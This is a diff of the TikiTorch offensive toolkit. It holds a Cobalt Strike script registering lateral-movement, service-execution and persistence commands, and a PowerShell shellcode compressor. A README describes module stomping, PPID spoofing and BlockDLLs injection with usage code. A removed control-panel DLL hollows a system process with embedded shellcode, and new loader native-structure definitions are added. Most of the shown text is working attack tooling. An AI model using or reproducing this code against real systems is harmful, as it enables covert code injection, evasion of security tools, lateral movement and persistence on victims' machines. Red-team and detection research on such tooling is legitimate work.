remove(@data, @data[9]);
|
||||
add(@data, " const string dll = \"$dll\"\;", 9);
|
||||
|
||||
$data = "";
|
||||
|
||||
for ($i = 0; $i < size(@data); $i++) {
|
||||
$data = $data . @data[$i] . "\r\n";
|
||||
}
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
sub manifest_data_swap {
|
||||
|
||||
$binary = $1;
|
||||
$shellcode = $2;
|
||||
$dllPath = $3;
|
||||
$template = $4;
|
||||
|
||||
$handle = openf($dllPath);
|
||||
$dll = base64_encode(readb($handle, -1));
|
||||
|
||||
if (-canread $template) {
|
||||
|
||||
$handle = openf($template);
|
||||
@data = readAll($handle);
|
||||
closef($handle);
|
||||
remove(@data, @data[16]);
|
||||
add(@data, " static string dll = \"$dll\"\;", 16);
|
||||
remove(@data, @data[17]);
|
||||
add(@data, " static string binary = \@\"$binary\";", 17);
|
||||
remove(@data, @data[18]);
|
||||
add(@data, " static string shellcode = \"$shellcode\"\;", 18);
|
||||
|
||||
$data = "";
|
||||
|
||||
for ($i = 0; $i < size(@data); $i++) {
|
||||
$data = $data . @data[$i] . "\r\n";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
sub tikiexec_data_swap {
|
||||
|
||||
$binary = $1;
|
||||
$shellcode = $2;
|
||||
$appConfig = $3;
|
||||
|
||||
if (-canread $appConfig) {
|
||||
|
||||
$handle = openf($appConfig);
|
||||
@data = readAll($handle);
|
||||
closef($handle);
|
||||
remove(@data, @data[6]);
|
||||
add(@data, " <add key=\"Binary\" value=\" $+ $binary $+ \"/>", 6);
|
||||
remove(@data, @data[7]);
|
||||
add(@data, " <add key=\"Shellcode\" value=\" $+ $shellcode $+ \"/>", 7);
|
||||
|
||||
$data = "";
|
||||
|
||||
for ($i = 0; $i < size(@data); $i++) {
|
||||
$data = $data . @data[$i] . "\r\n";
|
||||
}
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
beacon_command_register (
|
||||
|
||||
"tikilateral",
|
||||
"Execute a TikiTorch payload on a host",
|
||||
"Execute a TikiTorch payload on the remote target using\n" .
|
||||
"the specified payload type and code execution method.\n\n" .
|
||||
"Use: tikilateral [target] [listener] [x64|x86] [binary] [payload] [method]\n\n" .
|
||||
" Payloads: powershell\n" .
|
||||
" msbuild\n" .
|
||||
" workflowcompiler\n\n" .
|
||||
" Methods: wmi:processcallcreate\n" .
|
||||
" dcom:mmc20.application\n" .
|
||||
" dcom:shellwindows\n" .
|
||||
" dcom:shellbrowserwindow\n" .
|
||||
" dcom:exceldde\n\n" .
|
||||
"Example: tikilateral dc1 smb x64 c:\\windows\\system32\\svchost.exe msbuild dcom:mmc20.application\n" .
|
||||
"Example: tikilateral dc1 smb x64 c:\\windows\\notepad.exe powershell wmi:processcallcreate"
|
||||
);
|
||||
|
||||
beacon_command_register (
|
||||
|
||||
"tikiexec",
|
||||
"Use a service to run a TikiTorch payload on a host",
|
||||
"Copy a TikiTorch payload to the remote target\n" .
|
||||
"and execute it using the Service Control Manager.\n\n" .
|
||||
"Use: tikiexec [target] [listener] [x64|x86] [binary]"
|
||||
);
|
||||
|
||||
beacon_command_register (
|
||||
|
||||
"tikipersist",
|
||||
"Persist on a host with a TikiTorch payload",
|
||||
"Install a persistence mechanism on the target using\n" .
|
||||
"a TikiTorch payload and the specified method.\n\n" .
|
||||
"Use: tikipersist [listener] [x64|x86] [binary] [method]\n\n" .
|
||||
" Methods: manifest\n\n" .
|
||||
"Example: tikipersist http x64 c:\\windows\\notepad.exe manifest"
|
||||
);
|
||||
@@ -1,18 +0,0 @@
|
||||
function Get-CompressedShellcode {
|
||||
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[String]$inFile
|
||||
)
|
||||
|
||||
$byteArray = [System.IO.File]::ReadAllBytes($inFile)
|
||||
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
|
||||
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
|
||||
$gzipStream.Write($byteArray, 0, $byteArray.Length)
|
||||
$gzipStream.Close()
|
||||
$output.Close()
|
||||
$tmp = $output.ToArray()
|
||||
|
||||
$b64 = [System.Convert]::ToBase64String($tmp)
|
||||
Write-Output $b64
|
||||
}
|
||||
@@ -8,39 +8,42 @@
|
||||
|_| |_| |_\_\ |_| |_| \___/ |_| \__| |_||_|
|
||||
```
|
||||
|
||||
TikiTorch was named in homage to [CACTUSTORCH](https://github.com/vysecurity/CACTUSTORCH) by [Vincent Yiu](https://twitter.com/vysecurity). The basic concept of CACTUSTORCH is that it spawns a new process, allocates a region of memory, then uses `CreateRemoteThread` to run the desired shellcode within that target process. Both the process and shellcode are specified by the user.
|
||||
TikiTorch was named in homage to [CACTUSTORCH](https://github.com/vysecurity/CACTUSTORCH) by [Vincent Yiu](https://twitter.com/vysecurity). The basic concept of CACTUSTORCH is that it spawns a new process, allocates a region of memory, writes shellcode into that region, and then uses `CreateRemoteThread` to execute said shellcode. Both the process and shellcode are specified by the user. The primary use case is as a JavaScript/VBScript loader via [DotNetToJScript](https://github.com/tyranid/DotNetToJScript), which can be utilised in a variety of payload types such as HTA and VBA.
|
||||
|
||||
This is pretty flexible as it allows an operator to run an HTTP agent in a process such as `iexplore.exe`, rather than something more arbitrary like `rundll32` or `powershell`.
|
||||
TikiTorch takes this a step further by offering a more advanced style of process spawning and injection:
|
||||
|
||||
TikiTorch follows the same concept but has multiple types of process injection available, which can be specified by the user at compile time.
|
||||
- Spawn x86 or x64 processes.
|
||||
- Supports PPID Spoofing and BlockDLLs.
|
||||
- Uses [Module Stomping](https://offensivedefence.co.uk/posts/module-stomping/) for injection.
|
||||
- Utilises [DInvoke](https://github.com/TheWover/DInvoke) to call lower-level Nt* APIs.
|
||||
|
||||
## Projects
|
||||
The TikiTorch solution has 2 projects:
|
||||
1. TikiLoader
|
||||
2. TikiSpawn
|
||||
|
||||
`TikiTorch` is a Visual Basic solution, split into 8 projects.
|
||||
The TikiLoader is the core DLL that handles all of the actual spawning and injection logic. TikiSpawn is a demo console app showing how to consume the TikiLoader.
|
||||
|
||||
- TikiLoader
|
||||
- TikiSpawn
|
||||
- TikiSpawnAs
|
||||
- TikiSpawnElevated
|
||||
- TikiCpl
|
||||
- TikiService
|
||||
- TikiThings
|
||||
- TikiVader
|
||||
## Basic Usage
|
||||
|
||||
In the first instance, please see the [Wiki](https://github.com/rasta-mouse/TikiTorch/wiki) for usage instructions.
|
||||
```c#
|
||||
using System.Diagnostics;
|
||||
using TikiLoader;
|
||||
|
||||
## Credits
|
||||
var shellcode = new byte[] { /* whatever */ };
|
||||
|
||||
- Aaron Bray for [Loader.cs](https://github.com/ambray/ProcessHollowing/blob/master/ShellLoader/Loader.cs)
|
||||
- [James Foreshaw](https://twitter.com/tiraniddo) for C# advice
|
||||
- [Vincent Yiu](https://twitter.com/vysecurity) for inspiration
|
||||
- [Kevin Mitnick](@kevinmitnick) for letting me test in his lab
|
||||
- [Steve Borosh](https://twitter.com/424f424f) for TikiCpl
|
||||
- [Casey Smith](https://twitter.com/subTee) for [AllTheThings](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/src/AllTheThings.cs)
|
||||
- [Marcus Gelderman](https://gist.github.com/marcgeld) for [psCompress.ps1](https://gist.github.com/marcgeld/bfacfd8d70b34fdf1db0022508b02aca)
|
||||
- [Will Schroeder](https://twitter.com/harmj0y) for [Seatbelt](https://github.com/GhostPack/Seatbelt)
|
||||
var stomper = new Stomper
|
||||
{
|
||||
BinaryPath = @"C:\Windows\System32\notepad.exe",
|
||||
WorkingDirectory = @"C:\Windows\System32",
|
||||
ModuleName = "xpsservices.dll",
|
||||
ExportName = "DllCanUnloadNow",
|
||||
ParentId = Process.GetProcessesByName("explorer")[0].Id,
|
||||
BlockDlls = true
|
||||
};
|
||||
|
||||
stomper.Stomp(_shellcode);
|
||||
```
|
||||
|
||||
## Further Reading
|
||||
|
||||
- https://rastamouse.me/tags/tikitorch/
|
||||
- https://www.rythmstick.net/posts/tikitorch/
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -1,111 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -1,75 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using TikiLoader;
|
||||
using RGiesecke.DllExport;
|
||||
|
||||
public class TikiCpl
|
||||
{
|
||||
private static string ExtractResource(string filename)
|
||||
{
|
||||
var assembly = Assembly.GetExecutingAssembly();
|
||||
var resourceName = filename;
|
||||
|
||||
using (Stream stream = assembly.GetManifestResourceStream(resourceName))
|
||||
using (StreamReader reader = new StreamReader(stream))
|
||||
{
|
||||
string result = reader.ReadToEnd();
|
||||
return result;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private delegate IntPtr GetPebDelegate();
|
||||
|
||||
public static int FindProcessPid(string process)
|
||||
{
|
||||
int pid = 0;
|
||||
|
||||
int session = Process.GetCurrentProcess().SessionId;
|
||||
|
||||
Process[] processes = Process.GetProcessesByName(process);
|
||||
|
||||
foreach (Process proc in processes)
|
||||
{
|
||||
if (proc.SessionId == session)
|
||||
{
|
||||
pid = proc.Id;
|
||||
}
|
||||
}
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
[DllExport("CPlApplet", CallingConvention = CallingConvention.StdCall)]
|
||||
public unsafe static IntPtr CPlApplet()
|
||||
{
|
||||
string scode = ExtractResource("TikiCpl.Resource.txt");
|
||||
byte[] blob = Convert.FromBase64String(scode);
|
||||
byte[] shellcode = Generic.DecompressShellcode(blob);
|
||||
|
||||
if (shellcode.Length == 0) return IntPtr.Zero;
|
||||
int ppid = FindProcessPid("explorer");
|
||||
if (ppid == 0)
|
||||
{
|
||||
Environment.Exit(1);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var hollower = new Hollower();
|
||||
// Change the binary you want to inject shellcode into
|
||||
string binary = @"C:\windows\system32\upnpcont.exe";
|
||||
hollower.Hollow(binary, shellcode, ppid);
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("TikiScript")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("TikiScript")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("2ef9d8f7-6b77-4b75-822b-6a53a922c30f")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1,89 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{40C4388B-769D-4170-8DB1-C659AE8F45C9}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<RootNamespace>TikiCpl</RootNamespace>
|
||||
<AssemblyName>TikiCpl</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>
|
||||
</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<StartupObject />
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=3.3.3.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="RGiesecke.DllExport.Metadata, Version=1.0.0.0, Culture=neutral, PublicKeyToken=8f52d83c1a22df51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll</HintPath>
|
||||
<Private>False</Private>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\TikiLoader\TikiLoader.csproj">
|
||||
<Project>{806c6c72-4adc-43d9-b028-6872fa48d334}</Project>
|
||||
<Name>TikiLoader</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Resource.txt" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="..\packages\Fody.4.0.2\build\Fody.targets" Condition="Exists('..\packages\Fody.4.0.2\build\Fody.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Fody.4.0.2\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.4.0.2\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props'))" />
|
||||
</Target>
|
||||
<Import Project="../packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets" Condition="Exists('../packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets')" />
|
||||
</Project>
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="3.3.3" targetFramework="net45" />
|
||||
<package id="Fody" version="4.0.2" targetFramework="net45" developmentDependency="true" />
|
||||
<package id="UnmanagedExports" version="1.2.7" targetFramework="net45" />
|
||||
</packages>
|
||||
@@ -0,0 +1,190 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public static class Data
|
||||
{
|
||||
public static class Win32
|
||||
{
|
||||
public static class Kernel32
|
||||
{
|
||||
public const uint MEM_COMMIT = 0x1000;
|
||||
public const uint MEM_RESERVE = 0x2000;
|
||||
public const uint MEM_RELEASE = 0x8000;
|
||||
|
||||
public const uint PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
|
||||
public const uint PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x20007;
|
||||
|
||||
public const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
|
||||
|
||||
public const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
||||
|
||||
[Flags]
|
||||
public enum STARTF : uint
|
||||
{
|
||||
STARTF_USESHOWWINDOW = 0x00000001,
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public uint cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public ushort wShowWindow;
|
||||
public ushort cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
};
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFOEX
|
||||
{
|
||||
public STARTUPINFO Startupinfo;
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
};
|
||||
}
|
||||
|
||||
public static class WinNT
|
||||
{
|
||||
public const uint INFINITE = 0xFFFFFFFF;
|
||||
|
||||
public const uint PAGE_READWRITE = 0x04;
|
||||
public const uint PAGE_EXECUTE_READ = 0x20;
|
||||
|
||||
public enum ACCESS_MASK : uint
|
||||
{
|
||||
MAXIMUM_ALLOWED = 0x02000000,
|
||||
};
|
||||
}
|
||||
|
||||
public static class WinBase
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
uint nLength;
|
||||
IntPtr lpSecurityDescriptor;
|
||||
bool bInheritHandle;
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
public static class Native
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct UNICODE_STRING
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public IntPtr Buffer;
|
||||
}
|
||||
|
||||
public struct PROCESS_BASIC_INFORMATION
|
||||
{
|
||||
public IntPtr ExitStatus;
|
||||
public IntPtr PebBaseAddress;
|
||||
public IntPtr AffinityMask;
|
||||
public IntPtr BasePriority;
|
||||
public UIntPtr UniqueProcessId;
|
||||
public int InheritedFromUniqueProcessId;
|
||||
|
||||
public int Size => Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION));
|
||||
}
|
||||
|
||||
public enum PROCESSINFOCLASS : int
|
||||
{
|
||||
ProcessBasicInformation = 0
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LIST_ENTRY
|
||||
{
|
||||
public IntPtr Flink;
|
||||
public IntPtr Blink;
|
||||
}
|
||||
}
|
||||
|
||||
public static class PE
|
||||
{
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
public struct ApiSetNamespace
|
||||
{
|
||||
[FieldOffset(0x0C)]
|
||||
public int Count;
|
||||
|
||||
[FieldOffset(0x10)]
|
||||
public int EntryOffset;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
public struct ApiSetNamespaceEntry
|
||||
{
|
||||
[FieldOffset(0x04)]
|
||||
public int NameOffset;
|
||||
|
||||
[FieldOffset(0x08)]
|
||||
public int NameLength;
|
||||
|
||||
[FieldOffset(0x10)]
|
||||
public int ValueOffset;
|
||||
|
||||
[FieldOffset(0x14)]
|
||||
public int ValueLength;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
public struct ApiSetValueEntry
|
||||
{
|
||||
[FieldOffset(0x00)]
|
||||
public int Flags;
|
||||
|
||||
[FieldOffset(0x04)]
|
||||
public int NameOffset;
|
||||
|
||||
[FieldOffset(0x08)]
|
||||
public int NameCount;
|
||||
|
||||
[FieldOffset(0x0C)]
|
||||
public int ValueOffset;
|
||||
|
||||
[FieldOffset(0x10)]
|
||||
public int ValueCount;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
public Native.LIST_ENTRY InLoadOrderLinks;
|
||||
public Native.LIST_ENTRY InMemoryOrderLinks;
|
||||
public Native.LIST_ENTRY InInitializationOrderLinks;
|
||||
public IntPtr DllBase;
|
||||
public IntPtr EntryPoint;
|
||||
public uint SizeOfImage;
|
||||
public Native.UNICODE_STRING FullDllName;
|
||||
public Native.UNICODE_STRING BaseDllName;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public struct Delegates
|
||||
{
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate bool InitializeProcThreadAttributeList(
|
||||
IntPtr lpAttributeList,
|
||||
int dwAttributeCount,
|
||||
int dwFlags,
|
